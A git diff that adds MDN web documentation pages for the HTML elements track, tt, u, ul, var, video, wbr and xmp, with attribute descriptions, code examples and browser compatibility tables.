ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
track2312311012.16
4.4Doesn't work for fullscreen video.
25Doesn't work for fullscreen video.
3112.16
1.5Doesn't work for fullscreen video.
default2312311012.164.4253112.161.5
kind2312311012.164.425311461.5
label2312311012.164.425311461.5
src2312311012.164.425311461.5
srclang2312311012.164.425311461.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/track +

+
diff --git a/devdocs/html/element%2Ftt.html b/devdocs/html/element%2Ftt.html new file mode 100644 index 00000000..268ffe9e --- /dev/null +++ b/devdocs/html/element%2Ftt.html @@ -0,0 +1,106 @@ +

<tt>: The Teletype Text element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <tt> HTML element creates inline text which is presented using the user agent's default monospace font face. This element was created for the purpose of rendering text as it would be displayed on a fixed-width display such as a teletype, text-only screen, or line printer.

The terms non-proportional, monotype, and monospace are used interchangeably and have the same general meaning: they describe a typeface whose characters are all the same number of pixels wide.

This element is obsolete, however. You should use the more semantically helpful <code>, <kbd>, <samp>, or <var> elements for inline text that needs to be presented in monospace type, or the <pre> tag for content that should be presented as a separate block.

Note: If none of the semantic elements are appropriate for your use case (for example, if you need to show some content in a non-proportional font), you should consider using the <span> element, styling it as desired using CSS. The font-family property is a good place to start.

+
+

Attributes

+

This element only includes the global attributes

+

Examples

+ +

Basic example

+
+

This example uses <tt> to show text entered into, and output by, a terminal application.

+

html

+
<p>
+  Enter the following at the telnet command prompt:
+  <code>set localecho</code><br />
+
+  The telnet client should display: <tt>Local Echo is on</tt>
+</p>
+
+

Result

+
+ + +
+
+

Overriding the default font

+
+

You can override the browser's default font—if the browser permits you to do so, which it isn't required to do—using CSS:

CSS

+

css

+
tt {
+  font-family: "Lucida Console", "Menlo", "Monaco", "Courier", monospace;
+}
+
+

HTML

+

html

+
<p>
+  Enter the following at the telnet command prompt:
+  <code>set localecho</code><br />
+
+  The telnet client should display: <tt>Local Echo is on</tt>
+</p>
+
+

Result

+
+ + +
+
+

Usage notes

+
+

The <tt> element is, by default, rendered using the browser's default non-proportional font. You can override this using CSS by creating a rule using the tt selector, as seen in the example Overriding the default font above.

Note: User-configured changes to the default monospace font setting may take precedence over your CSS.

Although this element wasn't officially deprecated in HTML 4.01, its use was discouraged in favor of the semantic elements and/or CSS. The <tt> element is obsolete in HTML 5.

+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# tt
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
tt112
1Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
Yes15≤44.418
4Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
14≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/tt +

+
diff --git a/devdocs/html/element%2Fu.html b/devdocs/html/element%2Fu.html new file mode 100644 index 00000000..d7114445 --- /dev/null +++ b/devdocs/html/element%2Fu.html @@ -0,0 +1,145 @@ +

<u>: The Unarticulated Annotation (Underline) element

+

The <u> HTML element represents a span of inline text which should be rendered in a way that indicates that it has a non-textual annotation. This is rendered by default as a simple solid underline, but may be altered using CSS.

Warning: This element used to be called the "Underline" element in older versions of HTML, and is still sometimes misused in this way. To underline text, you should instead apply a style that includes the CSS text-decoration property set to underline.

+
+

Try it

+
+

See the Usage notes section for further details on when it's appropriate to use <u> and when it isn't.

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Along with other pure styling elements, the original HTML Underline (<u>) element was deprecated in HTML 4; however, <u> was restored in HTML 5 with a new, semantic, meaning: to mark text as having some form of non-textual annotation applied.

Note: Avoid using the <u> element with its default styling (of underlined text) in such a way as to be confused with a hyperlink, which is also underlined by default.

+
+

Use cases

+
+

Valid use cases for the <u> element include annotating spelling errors, applying a proper name mark to denote proper names in Chinese text, and other forms of annotation.

You should not use <u> to underline text for presentation purposes, or to denote titles of books.

+
+

Other elements to consider using

+
+

In most cases, you should use an element other than <u>, such as:

To provide textual annotations (as opposed to the non-textual annotations created with <u>), use the <ruby> element.

To apply an underlined appearance without any semantic meaning, use the text-decoration property's value underline.

+
+

Examples

+ +

Indicating a spelling error

+
+

This example uses the <u> element and some CSS to display a paragraph which includes a misspelled error, with the error indicated in the red wavy underline style which is fairly commonly used for this purpose.

HTML

+

html

+
<p>This paragraph includes a <u class="spelling">wrnogly</u> spelled word.</p>
+
+

In the HTML, we see the use of <u> with a class, spelling, which is used to indicate the misspelling of the word "wrongly".

CSS

+

css

+
u.spelling {
+  text-decoration: red wavy underline;
+}
+
+

This CSS indicates that when the <u> element is styled with the class spelling, it should have a red wavy underline underneath its text. This is a common styling for spelling errors. Another common style can be presented using red dashed underline.

Result

The result should be familiar to anyone who has used any of the more popular word processors available today.

+
+ + +
+
+

Avoiding <u>

+
+

Most of the time, you actually don't want to use <u>. Here are some examples that show what you should do instead in several cases.

Non-semantic underlines

To underline text without implying any semantic meaning, use a <span> element with the text-decoration property set to "underline", as shown below.

HTML
+

html

+
<span class="underline">Today's Special</span>
+<br />
+Chicken Noodle Soup With Carrots
+
+
CSS
+

css

+
.underline {
+  text-decoration: underline;
+}
+
+
Result
+
+ + +

Presenting a book title

Book titles should be presented using the <cite> element instead of <u> or even <i>.

Using the cite element
+

html

+
<p>The class read <cite>Moby Dick</cite> in the first term.</p>
+
+
+
+ + +
Styling the cite element

The default styling for the <cite> element renders the text in italics. You can override that using CSS:

+

html

+
<p>The class read <cite>Moby Dick</cite> in the first term.</p>
+
+
+

css

+
cite {
+  font-style: normal;
+  text-decoration: underline;
+}
+
+
+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-u-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
u112
1Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/u +

+
diff --git a/devdocs/html/element%2Ful.html b/devdocs/html/element%2Ful.html new file mode 100644 index 00000000..b1817f46 --- /dev/null +++ b/devdocs/html/element%2Ful.html @@ -0,0 +1,179 @@ +

<ul>: The Unordered List element

The <ul> HTML element represents an unordered list of items, typically rendered as a bulleted list.

+

Try it

+
+

Attributes

+
+

This element includes the global attributes.

+compact +

This Boolean attribute hints that the list should be rendered in a compact style. The interpretation of this attribute depends on the user agent, and it doesn't work in all browsers.

Warning: Do not use this attribute, as it has been deprecated: use CSS instead. To give a similar effect as the compact attribute, the CSS property line-height can be used with a value of 80%.

+type +

This attribute sets the bullet style for the list. The values defined under HTML3.2 and the transitional version of HTML 4.0/4.01 are:

  • circle
  • disc
  • square

A fourth bullet type has been defined in the WebTV interface, but not all browsers support it: triangle.

If not present and if no CSS list-style-type property applies to the element, the user agent selects a bullet type depending on the nesting level of the list.

Warning: Do not use this attribute, as it has been deprecated; use the CSS list-style-type property instead.

+
+

Usage notes

+
+

Examples

+ +

Simple example

+
+
+

html

+
<ul>
+  <li>first item</li>
+  <li>second item</li>
+  <li>third item</li>
+</ul>
+
+

Result

+
+ + +
+
+

Nesting a list

+
+
+

html

+
<ul>
+  <li>first item</li>
+  <li>
+    second item
+    <!-- Look, the closing </li> tag is not placed here! -->
+    <ul>
+      <li>second item first subitem</li>
+      <li>
+        second item second subitem
+        <!-- Same for the second nested unordered list! -->
+        <ul>
+          <li>second item second subitem first sub-subitem</li>
+          <li>second item second subitem second sub-subitem</li>
+          <li>second item second subitem third sub-subitem</li>
+        </ul>
+      </li>
+      <!-- Closing </li> tag for the li that
+                  contains the third unordered list -->
+      <li>second item third subitem</li>
+    </ul>
+    <!-- Here is the closing </li> tag -->
+  </li>
+  <li>third item</li>
+</ul>
+
+

Result

+
+ + +
+
+

Ordered list inside unordered list

+
+
+

html

+
<ul>
+  <li>first item</li>
+  <li>
+    second item
+    <!-- Look, the closing </li> tag is not placed here! -->
+    <ol>
+      <li>second item first subitem</li>
+      <li>second item second subitem</li>
+      <li>second item third subitem</li>
+    </ol>
+    <!-- Here is the closing </li> tag -->
+  </li>
+  <li>third item</li>
+</ul>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, and if the <ul> element's children include at least one <li> element, palpable content.
Permitted content Zero or more <li>, <script> and <template> elements.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role list
Permitted ARIA roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree
DOM Interface HTMLUListElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-ul-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
ul1121Yes15≤44.418414≤3.21.0
compact1121Yes1534.41841421.0
type1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ul +

+
diff --git a/devdocs/html/element%2Fvar.html b/devdocs/html/element%2Fvar.html new file mode 100644 index 00000000..c1c01bbd --- /dev/null +++ b/devdocs/html/element%2Fvar.html @@ -0,0 +1,115 @@ +

<var>: The Variable element

The <var> HTML element represents the name of a variable in a mathematical expression or a programming context. It's typically presented using an italicized version of the current typeface, although that behavior is browser-dependent.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+ + +
+

Other elements that are used in contexts in which <var> is commonly used include:

If you encounter code that is mistakenly using <var> for style purposes rather than semantic purposes, you should either use a <span> with appropriate CSS or, an appropriate semantic element among the following:

+
+

Default style

+
+

Most browsers apply font-style to "italic" when rendering <var>. This can be overridden in CSS, like this:

+

css

+
var {
+  font-style: normal;
+}
+
+
+
+

Examples

+ +

Basic example

+
+

Here's a simple example, using <var> to denote variable names in a mathematical equation.

+

html

+
<p>A simple equation: <var>x</var> = <var>y</var> + 2</p>
+
+

Result

+
+ + +
+
+

Overriding the default style

+
+

Using CSS, you can override the default style for the <var> element. In this example, variable names are rendered using bold Courier if it's available, otherwise it falls back to the default monospace font.

CSS

+

css

+
var {
+  font:
+    bold 15px "Courier",
+    "Courier New",
+    monospace;
+}
+
+

HTML

+

html

+
<p>
+  The variables <var>minSpeed</var> and <var>maxSpeed</var> control the minimum
+  and maximum speed of the apparatus in revolutions per minute (RPM).
+</p>
+
+

This HTML uses <var> to enclose the names of two variables.

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-var-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
var1121Yes15≤44.418414≤3.21.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/var +

+
diff --git a/devdocs/html/element%2Fvideo.html b/devdocs/html/element%2Fvideo.html new file mode 100644 index 00000000..4acc9a75 --- /dev/null +++ b/devdocs/html/element%2Fvideo.html @@ -0,0 +1,369 @@ +

<video>: The Video Embed element

The <video> HTML element embeds a media player which supports video playback into the document. You can use <video> for audio content as well, but the <audio> element may provide a more appropriate user experience.

+

Try it

+
+

The above example shows simple usage of the <video> element. In a similar manner to the <img> element, we include a path to the media we want to display inside the src attribute; we can include other attributes to specify information such as video width and height, whether we want it to autoplay and loop, whether we want to show the browser's default video controls, etc.

The content inside the opening and closing <video></video> tags is shown as a fallback in browsers that don't support the element.

+
+

Attributes

+
+

Like all other HTML elements, this element supports the global attributes.

autoplay

A Boolean attribute; if specified, the video automatically begins to play back as soon as it can do so without stopping to finish loading the data.

Note: Sites that automatically play audio (or videos with an audio track) can be an unpleasant experience for users, so should be avoided when possible. If you must offer autoplay functionality, you should make it opt-in (requiring a user to specifically enable it). However, this can be useful when creating media elements whose source will be set at a later time, under user control. See our autoplay guide for additional information about how to properly use autoplay.

To disable video autoplay, autoplay="false" will not work; the video will autoplay if the attribute is there in the <video> tag at all. To remove autoplay, the attribute needs to be removed altogether.

In some browsers (e.g. Chrome 70.0) autoplay doesn't work if no muted attribute is present.

controls

If this attribute is present, the browser will offer controls to allow the user to control video playback, including volume, seeking, and pause/resume playback.

+controlslist +

The controlslist attribute, when specified, helps the browser select what controls to show for the video element whenever the browser shows its own set of controls (that is, when the controls attribute is specified).

The allowed values are nodownload, nofullscreen and noremoteplayback.

Use the disablepictureinpicture attribute if you want to disable the Picture-In-Picture mode (and the control).

crossorigin

This enumerated attribute indicates whether to use CORS to fetch the related video. CORS-enabled resources can be reused in the <canvas> element without being tainted. The allowed values are:

anonymous

Sends a cross-origin request without a credential. In other words, it sends the Origin: HTTP header without a cookie, X.509 certificate, or performing HTTP Basic authentication. If the server does not give credentials to the origin site (by not setting the Access-Control-Allow-Origin: HTTP header), the resource will be tainted, and its usage restricted.

use-credentials

Sends a cross-origin request with a credential. In other words, it sends the Origin: HTTP header with a cookie, a certificate, or performing HTTP Basic authentication. If the server does not give credentials to the origin site (through Access-Control-Allow-Credentials: HTTP header), the resource will be tainted and its usage restricted.

When not present, the resource is fetched without a CORS request (i.e. without sending the Origin: HTTP header), preventing its non-tainted use in <canvas> elements. If invalid, it is handled as if the enumerated keyword anonymous was used. See CORS settings attributes for additional information.

+disablepictureinpicture +

Prevents the browser from suggesting a Picture-in-Picture context menu or to request Picture-in-Picture automatically in some cases.

+disableremoteplayback +

A Boolean attribute used to disable the capability of remote playback in devices that are attached using wired (HDMI, DVI, etc.) and wireless technologies (Miracast, Chromecast, DLNA, AirPlay, etc.).

In Safari, you can use x-webkit-airplay="deny" as a fallback.

height

The height of the video's display area, in CSS pixels (absolute values only; no percentages).

loop

A Boolean attribute; if specified, the browser will automatically seek back to the start upon reaching the end of the video.

muted

A Boolean attribute that indicates the default setting of the audio contained in the video. If set, the audio will be initially silenced. Its default value is false, meaning that the audio will be played when the video is played.

playsinline

A Boolean attribute indicating that the video is to be played "inline", that is within the element's playback area. Note that the absence of this attribute does not imply that the video will always be played in fullscreen.

poster

A URL for an image to be shown while the video is downloading. If this attribute isn't specified, nothing is displayed until the first frame is available, then the first frame is shown as the poster frame.

preload

This enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience regarding what content is loaded before the video is played. It may have one of the following values:

  • +none: Indicates that the video should not be preloaded.
  • +metadata: Indicates that only video metadata (e.g. length) is fetched.
  • +auto: Indicates that the whole video file can be downloaded, even if the user is not expected to use it.
  • +empty string: Synonym of the auto value.

The default value is different for each browser. The spec advises it to be set to metadata.

Note:

  • The autoplay attribute has precedence over preload. If autoplay is specified, the browser would obviously need to start downloading the video for playback.
  • The specification does not force the browser to follow the value of this attribute; it is a mere hint.
src

The URL of the video to embed. This is optional; you may instead use the <source> element within the video block to specify the video to embed.

width

The width of the video's display area, in CSS pixels (absolute values only; no percentages).

+
+

Events

+
Event Name Fired When
+audioprocess + The input buffer of a ScriptProcessorNode is ready to be processed.
canplay The browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
canplaythrough The browser estimates it can play the media up to its end without stopping for content buffering.
complete The rendering of an OfflineAudioContext is terminated.
durationchange The duration attribute has been updated.
emptied The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
ended Playback has stopped because the end of the media was reached.
error An error occurred while fetching the media data, or the type of the resource is not a supported media format.
loadeddata The first frame of the media has finished loading.
loadedmetadata The metadata has been loaded.
loadstart Fired when the browser has started to load the resource.
pause Playback has been paused.
play Playback has begun.
playing Playback is ready to start after having been paused or delayed due to lack of data.
progress Fired periodically as the browser loads a resource.
ratechange The playback rate has changed.
seeked A seek operation completed.
seeking A seek operation began.
stalled The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
suspend Media data loading has been suspended.
timeupdate The time indicated by the currentTime attribute has been updated.
volumechange The volume has changed.
waiting Playback has stopped because of a temporary lack of data.
+

Usage notes

+
+

Browsers don't all support the same video formats; you can provide multiple sources inside nested <source> elements, and the browser will then use the first one it understands.

+

html

+
<video controls>
+  <source src="myVideo.webm" type="video/webm" />
+  <source src="myVideo.mp4" type="video/mp4" />
+  <p>
+    Your browser doesn't support HTML video. Here is a
+    <a href="myVideo.mp4">link to the video</a> instead.
+  </p>
+</video>
+
+

We offer a substantive and thorough guide to media file types and the guide to the codecs supported for video. Also available is a guide to audio codecs that can be used with them.

Other usage notes:

A good general source of information on using HTML <video> is the Video and audio content beginner's tutorial.

+
+

Styling with CSS

+
+

The <video> element is a replaced element — its display value is inline by default, but its default width and height in the viewport is defined by the video being embedded.

There are no special considerations for styling <video>; a common strategy is to give it a display value of block to make it easier to position, size, etc., and then provide styling and layout information as required. Video player styling basics provides some useful styling techniques.

+
+

Detecting track addition and removal

+
+

You can detect when tracks are added to and removed from a <video> element using the addtrack and removetrack events. However, these events aren't sent directly to the <video> element itself. Instead, they're sent to the track list object within the <video> element's HTMLMediaElement that corresponds to the type of track that was added to the element:

HTMLMediaElement.audioTracks

An AudioTrackList containing all of the media element's audio tracks. You can add a listener for addtrack to this object to be alerted when new audio tracks are added to the element.

HTMLMediaElement.videoTracks

Add an addtrack listener to this VideoTrackList object to be informed when video tracks are added to the element.

HTMLMediaElement.textTracks

Add an addtrack event listener to this TextTrackList to be notified when new text tracks are added to the element.

For example, to detect when audio tracks are added to or removed from a <video> element, you can use code like this:

+

js

+
const elem = document.querySelector("video");
+
+elem.audioTracks.onaddtrack = (event) => {
+  trackEditor.addTrack(event.track);
+};
+
+elem.audioTracks.onremovetrack = (event) => {
+  trackEditor.removeTrack(event.track);
+};
+
+

This code watches for audio tracks to be added to and removed from the element, and calls a hypothetical function on a track editor to register and remove the track from the editor's list of available tracks.

You can also use addEventListener() to listen for the addtrack and removetrack events.

+
+

Server support for video

+
+

If the MIME type for the video is not set correctly on the server, the video may not show or show a gray box containing an X (if JavaScript is enabled).

If you use Apache Web Server to serve Ogg Theora videos, you can fix this problem by adding the video file type extensions to "video/ogg" MIME type. The most common video file type extensions are ".ogm", ".ogv", or ".ogg". To do this, edit the "mime.types" file in "/etc/apache" or use the "AddType" configuration directive in httpd.conf.

AddType video/ogg .ogm
+AddType video/ogg .ogv
+AddType video/ogg .ogg
+

If you serve your videos as WebM, you can fix this problem for the Apache Web Server by adding the extension used by your video files (".webm" is the most common one) to the MIME type "video/webm" via the "mime.types" file in "/etc/apache" or via the "AddType" configuration directive in httpd.conf.

AddType video/webm .webm
+

Your web host may provide an easy interface to MIME type configuration changes for new technologies until a global update naturally occurs.

+
+

Examples

+ +

Single source

+
+

This example plays a video when activated, providing the user with the browser's default video controls to control playback.

HTML

+

html

+
<!-- Simple video example -->
+<!-- 'Big Buck Bunny' licensed under CC 3.0 by the Blender foundation. Hosted by archive.org -->
+<!-- Poster from peach.blender.org -->
+<video
+  controls
+  src="https://archive.org/download/BigBuckBunny_124/Content/big_buck_bunny_720p_surround.mp4"
+  poster="https://peach.blender.org/wp-content/uploads/title_anouncement.jpg?x11217"
+  width="620">
+  Sorry, your browser doesn't support embedded videos, but don't worry, you can
+  <a href="https://archive.org/details/BigBuckBunny_124">download it</a>
+  and watch it with your favorite video player!
+</video>
+
+

Result

+
+ + +

Until the video starts playing, the image provided in the poster attribute is displayed in its place. If the browser doesn't support video playback, the fallback text is displayed.

+
+

Multiple sources

+
+

This example builds on the last one, offering three different sources for the media; this allows the video to be watched regardless of which video codecs are supported by the browser.

HTML

+

html

+
<!-- Using multiple sources as fallbacks for a video tag -->
+<!-- 'Elephants Dream' by Orange Open Movie Project Studio, licensed under CC-3.0, hosted by archive.org -->
+<!-- Poster hosted by Wikimedia -->
+<video
+  width="620"
+  controls
+  poster="https://upload.wikimedia.org/wikipedia/commons/e/e8/Elephants_Dream_s5_both.jpg">
+  <source
+    src="https://archive.org/download/ElephantsDream/ed_hd.ogv"
+    type="video/ogg" />
+  <source
+    src="https://archive.org/download/ElephantsDream/ed_hd.avi"
+    type="video/avi" />
+  <source
+    src="https://archive.org/download/ElephantsDream/ed_1024_512kb.mp4"
+    type="video/mp4" />
+
+  Sorry, your browser doesn't support embedded videos, but don't worry, you can
+  <a href="https://archive.org/download/ElephantsDream/ed_1024_512kb.mp4">
+    download the MP4
+  </a>
+  and watch it with your favorite video player!
+</video>
+
+

Result

+
+ + +

First Ogg is tried. If that can't be played, then AVI is tried. Finally, MP4 is tried. A fallback message is displayed if the video element isn't supported, but not if all sources fail.

Some media file types let you provide more specific information using the codecs parameter as part of the file's type string. A relatively simple example is video/webm; codecs="vp8, vorbis", which says that the file is a WebM video using VP8 for its video and Vorbis for audio.

+
+

Accessibility concerns

+
+

Videos should provide both captions and transcripts that accurately describe its content (see Adding captions and subtitles to HTML video for more information on how to implement these). Captions allow people who are experiencing hearing loss to understand a video's audio content as the video is being played, while transcripts allow people who need additional time to be able to review audio content at a pace and format that is comfortable for them.

It's worth noting that while you can caption audio-only media, you can only do so when playing audio in a <video> element, since the video region of the element is used to present the captions. This is one of the special scenarios in which it's useful to play audio in a video element.

If automatic captioning services are used, it is important to review the generated content to ensure it accurately represents the source video.

In addition to spoken dialog, subtitles and transcripts should also identify music and sound effects that communicate important information. This includes emotion and tone:

14
+00:03:14 --> 00:03:18
+[Dramatic rock music]
+
+15
+00:03:19 --> 00:03:21
+[whispering] What's that off in the distance?
+
+16
+00:03:22 --> 00:03:24
+It's… it's a…
+
+16 00:03:25 --> 00:03:32
+[Loud thumping]
+[Dishes clattering]
+

Captions should not obstruct the main subject of the video. They can be positioned using the align VTT cue setting.

+
+

Technical summary

+
Content categories Flow content, phrasing content, embedded content. If it has a controls attribute: interactive content and palpable content.
Permitted content

If the element has a src attribute: zero or more <track> elements, followed by transparent content that contains no media elements–that is no <audio> or <video>.

Else: zero or more <source> elements, followed by zero or more <track> elements, followed by transparent content that contains no media elements–that is no <audio> or <video>.

Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts embedded content.
Implicit ARIA role No corresponding role
Permitted ARIA roles application
DOM interface HTMLVideoElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-video-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
video3123.5910.53.14.41841431.0
aspect_ratio_computed_from_attributes797971No6614797979571412.0
autoplay3123.5910.53.14.418414
10Only available for videos that have no sound or have the audio track disabled.
1.0
controls3123.5910.53.14.41841431.0
crossorigin33≤1874
12–74With crossorigin="use-credentials", cookies aren't sent during seek. See bug 1532722.
+		No20104.4.33379
14–79With crossorigin="use-credentials", cookies aren't sent during seek. See bug 1532722.
+		20102.0
height3123.5910.53.14.41841431.0
loop31211910.53.14.418141461.0
muted30121110Yes54.4301418No2.0
poster3123.6910.53.14.41841431.0
preload
3Defaults to metadata in Chrome 64.
1249
YesDefaults to metadata in Opera 51.
3.1
YesDefaults to metadata in Chrome 64.
YesDefaults to metadata in Chrome 64.
4
YesDefaults to metadata in Opera 51.
3
YesDefaults to metadata in Samsung Internet 9.0.
src3123.5910.53.14.41841431.0
width3123.5910.53.14.41841431.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video +

+
diff --git a/devdocs/html/element%2Fwbr.html b/devdocs/html/element%2Fwbr.html new file mode 100644 index 00000000..2d4b2e6b --- /dev/null +++ b/devdocs/html/element%2Fwbr.html @@ -0,0 +1,78 @@ +

<wbr>: The Line Break Opportunity element

The <wbr> HTML element represents a word break opportunity—a position within text where the browser may optionally break a line, though its line-breaking rules would not otherwise create a break at that location.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Notes

+
+

On UTF-8 encoded pages, <wbr> behaves like the U+200B ZERO-WIDTH SPACE code point. In particular, it behaves like a Unicode bidi BN code point, meaning it has no effect on bidi-ordering: <div dir=rtl>123,<wbr>456</div> displays, when not broken on two lines, 123,456 and not 456,123.

For the same reason, the <wbr> element does not introduce a hyphen at the line break point. To make a hyphen appear only at the end of a line, use the soft hyphen character entity (&shy;) instead.

+
+

Examples

+
+

The Yahoo Style Guide recommends breaking a URL before punctuation, to avoid leaving a punctuation mark at the end of the line, which the reader might mistake for the end of the URL.

+

html

+
<p>
+  http://this<wbr />.is<wbr />.a<wbr />.really<wbr />.long<wbr />.example<wbr />.com/With<wbr />/deeper<wbr />/level<wbr />/pages<wbr />/deeper<wbr />/level<wbr />/pages<wbr />/deeper<wbr />/level<wbr />/pages<wbr />/deeper<wbr />/level<wbr />/pages<wbr />/deeper<wbr />/level<wbr />/pages
+</p>
+
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories Flow content, phrasing content.
Permitted content Empty
Tag omission It is a void element; it must have a start tag, but must not have an end tag.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-wbr-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
wbr17915.5–711.644.4184123.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/wbr +

+
diff --git a/devdocs/html/element%2Fxmp.html b/devdocs/html/element%2Fxmp.html new file mode 100644 index 00000000..829cf18d --- /dev/null +++ b/devdocs/html/element%2Fxmp.html @@ -0,0 +1,61 @@ +

<xmp>

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

+

Summary

+
+

The <xmp> HTML element renders text between the start and end tags without interpreting the HTML in between and using a monospaced font. The HTML2 specification recommended that it should be rendered wide enough to allow 80 characters per line.

Note: Do not use this element.

  • It has been deprecated since HTML3.2 and was not implemented in a consistent way. It was completely removed from current HTML.
  • Use the <pre> element or, if semantically adequate, the <code> element instead. Note that you will need to escape the '<' character as '&lt;' and the '&' character as '&amp;' to make sure they are not interpreted as markup.
  • A monospaced font can also be obtained on any element, by applying an adequate CSS style using monospace as the generic-font value for the font-family property.
+
+

Attributes

+

This element has no other attributes than the global attributes, common to all elements.

+

DOM interface

+

This element implements the HTMLElement interface.

+

Specifications

+
+ + +
Specification
HTML Standard
# xmp
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
xmp112
1Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
Yes15≤44.418
4Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
14≤3.21.0
+

See also

+
+

